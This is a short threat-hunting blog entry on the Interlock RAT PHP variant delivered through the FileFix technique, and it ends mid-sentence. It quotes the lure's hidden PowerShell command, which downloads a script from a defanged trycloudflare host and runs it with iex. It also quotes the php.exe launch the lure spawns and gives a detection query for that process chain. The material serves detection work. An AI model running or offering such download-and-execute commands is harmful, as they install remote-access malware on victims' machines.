195. Hunting for Interlock RAT PHP Based Variant
Hello everyone! The DFIR Report has published a report on Interlock RAT . The adversary used KongTuke and FileFix technique to deliver it to the target system. The victim copies and pastes the following command: "powershell.exe" -ep Bypass -w H -c "schtasks /delete /tn Updater /f; $w=New-Object System.Net.WebClient ; $w.Headers.Add(\"User-Agent\", \"PowerShell\") ; $w.DownloadString(\"hXXp://deadly-programming-attorneys-our[.]trycloudflare[.]com\") | iex" Nothing interesting, right? But it spawns an interesting command abusing php.exe: "C:\Users\REDACTED\AppData\Roaming\php\php.exe" -d extension=zip -d extension_dir=ext C:\Users\\AppData\Roaming\php\wefs.cfg 1 Here we can search for PowerShell spawning php.exe from uncommon locations: event_type: "processcreatewin" AND proc_p_file_path: "powershell.exe" AND proc_file_path: ("appdata" AND "php.exe") The adversary used Interlock RAT to ...